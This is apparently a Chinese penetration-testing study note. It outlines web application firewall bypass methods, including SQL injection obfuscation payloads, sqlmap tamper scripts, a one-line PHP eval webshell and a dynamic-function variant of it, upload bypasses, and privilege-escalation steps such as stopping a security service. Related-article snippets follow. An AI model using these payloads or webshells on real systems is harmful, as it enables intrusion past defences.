大纲:

WAF防护原理讲解

目录扫描绕过WAF

手工注入绕过WAF

sqlmap绕过WAF

编写salmap绕过WAF

过WAF一句话编写讲解

菜刀连接绕过WAF

webshell上传绕过WAF

提权绕过WAF

WAF绕过原理详解

知己知彼百战百胜

了解WAF防护原理

查看WAF防护位置

熟悉防护规则

了解防护机制

查看拦截时间阀值

目录扫描绕过WAF

两种方式:

1、修改客户端IP

2、减慢扫描速度

3、通过代理欺骗WAF

手工注入绕过WAF

搭建测试环境

了解绕过原理

熟悉常见绕过构造语句

构造绕过测试环境

搭建环境

利用mysql客户端

配置注入源码

注入绕过方法

1、大小写变种

2、SQL注释

3、URL编码

4、空字节

5、嵌套、剥离

6、非标准入口点

7、避开自定义过滤器

使用注释

union select 1,2,3 from admin

注释完

/**/union/**/select/**/1,2,3 from admin

/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin

第二种注释

/*!and*/ 1=2

URL编码

正常编码

‘为%27

1=52f        *=%2a     %=%25

/**/=%25 2f%25 2a*1

空字节

一些过滤器处理输入时,碰到拿到空字节就会停止处理。

如:

id=1%00and1=2

嵌套剥离

一些过滤器将用户的输入进行剥离敏感函数

应对方法:
                   seleselectect

剥离后

select

总结编写绕过语句

利用注释

/*^abc^*/

包含关键字

/*!/*!/*!union*/

变换提交方式

get->post方式或cookie

sqlmap tamper利用

symboliclogical.py

space2mssqlhash.py

appendnullbyte.py

利用修改tamper绕过waf

尝试编写过waf一句话

思路:

利用可变变量

$a=b         $b=c                   $$a=c

利用函数

利用判断语句

利用编码

<?php

@eval($_POST[x]);

?>

会拦截eval函数

<?php

@$_GET[a]($_post[x]);

?>

a:动态的传参,传eval函数或assert等函数

突破waf拦截连接菜刀

用最新版的菜刀

中国蚁剑

过狗菜刀+中转脚本

上传过waf

上传突破禁止上传PHP脚本

1、文件包含

2、双文件上传突破限制

3、修改上传参数

提权过waf

通过程序读密码

利用waf绕过神器

利用exp读hash

将用户添加到远程桌面组,并给目录降权

用第三方软件提权

system把安全狗服务停止,重启服务器

渗透测试学习 二十八、WAF绕过详解的更多相关文章

  1. 渗透测试学习 二十九、kali安装,信息搜集,服务器扫描

    kali安装,信息搜集,服务器扫描 kali介绍 Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统.由Offensive Security Ltd维护和资助.最先由 ...

  2. 渗透测试学习 十七、 XSS跨站脚本漏洞详解

      一般用途:拿cookie进后台,将后台地址一起发送过来 特点:挖掘困难,绕过困难  大纲: XSS漏洞基础讲解 XSS漏洞发掘与绕过 XSS漏洞的综合利用 XSS漏洞基础讲解 XSS介绍: 跨站脚 ...

  3. 渗透测试学习 二十、 其他漏洞汇总之PHP相关漏洞

    大纲: PHP相关漏洞 JSP相关漏洞 其他漏洞汇总 PHP相关漏洞 文件包含漏洞 php://input等伪协议利用 代码执行漏洞 变量覆盖漏洞 文件包含漏洞 程序开发人员一般会把重复使用的函数写到 ...

  4. 渗透测试学习 二十二、getshell总结

    大纲   管理员权限拿shell 普通权限拿shell 常见cms拿shell 进后台主要是可以对网站前台的内容,样式等做操作,要改脚本的内容的权限只有在webshell的权限下才可以(某些情况除外) ...

  5. 【原创】go语言学习(十八)反射详解

    目录 变量介绍 反射介绍 结构体反射 反射总结以及应用场景 变量介绍 1.变量的内在机制 A. 类型信息,这部分是元信息,是预先定义好的B. 值类型,这部分是程序运行过程中,动态改变的 var arr ...

  6. Java开发学习(二十八)----拦截器(Interceptor)详细解析

    一.拦截器概念 讲解拦截器的概念之前,我们先看一张图: (1)浏览器发送一个请求会先到Tomcat的web服务器 (2)Tomcat服务器接收到请求以后,会去判断请求的是静态资源还是动态资源 (3)如 ...

  7. 渗透测试学习 二十一、 JSP相关漏洞

    大纲 ST2漏洞  (Struts2) 反序列漏洞              网站容器,中间键 其他漏洞 Struts2漏洞 简介: Struts2是一个基于MVC设计模式的Web应用框架,它本质上相 ...

  8. Python学习二十八周(vue.js)

    一.指令 1.一个例子简单实用vue: 下载vue.js(这里实用1.0.21版本) 编写html代码: <!DOCTYPE html> <html lang="en&qu ...

  9. 渗透测试学习 二、Windows基础

    系统目录  服务  端口  注册表  黑客常用DOS命令(在拿到shell时会用到) 一.  系统目录 Windows目录  系统的安装目录 System32àconfigàSAM文件  是用户密码的 ...

随机推荐

  1. iOS随记

    ios 10 访问设置问题 从ios8之api支持访问设置通过访问UIApplicationOpenSettingsURLString来跳转设置 NSURL*url=[NSURL URLWithStr ...

  2. JavaWeb开发——软件国际化(文本元素国际化)

    前几天围绕着JDBC编程进行了系统的学习.现在我们对Java程序数据库操作已经是轻车熟路了.也学会了使用各种框架来帮助我们简化编程. 今天是学习计划的第七天,虽然学习热情没有前几天高涨了.但是,写博客 ...

  3. GO 使用静态链接库编译 生成可执行文件 使用第三方 .a 文件,无源码构造

    go build 和 go install 都需要使用源码来进行编译.但是有时候我们只有.a或者.so文件.并不能获取到第三方库的源码,这时我们需要静态链接库编译的技巧: 上图是实验前的文件分布. 使 ...

  4. JPA的一些问题

    Error creating bean with name 'mainController': Unsatisfied dependency expressed through field 'test ...

  5. CSP-S 2019文澜中学游记(11.15~11.17)

    前言 今年的\(CSP-S\),本以为自己的实力与去年的\(NOIP\)相比,能有较大的提升的. 没想到,菜是原罪,弱就是弱,依然逃脱不了被吊锤的命运. \(Nov\ 15th\):\(Day\ 0\ ...

  6. 【JS】JS校验密码复杂度(必须包含字母、数字、特殊符号)

    #场景一:密码中必须包含大小写 字母.数字.特称字符,至少8个字符,最多30个字符: var pwdRegex = new RegExp('(?=.*[0-9])(?=.*[A-Z])(?=.*[a- ...

  7. bootstrap去除自带15px内边距,去除container 15px padding

     壹 ❀ 问题 在使用bootstrap时,由于bootstrap槽宽特性,我们在布局时会发现container以及col-**-**左右都会自带15px的padding,有时候空间不足就想着怎么把b ...

  8. 《细说PHP》第四版 样章 第18章 数据库抽象层PDO 11

    18.8.3  完美分页类的代码实现 分页类的编写除了需要使用在18.8.2节中提供的可以操作的3个成员方法,还需要更多的成员,但其他的成员方法和成员属性只需要内部使用,并不需要用户在对象外部操作,所 ...

  9. 前端笔记之React(一)初识React&组件&JSX语法

    一.React项目起步配置 官网:https://reactjs.org/ 文档:https://reactjs.org/docs/hello-world.html 中文:http://react.c ...

  10. ASP.NET 表单验证

    静态脚本 oncilentClick() 静态使用方法 也可以$获取ID动态添加脚本 1.Response.Write(); 2.通过Register方式 3.Attribus方式根据控件ID进行添加 ...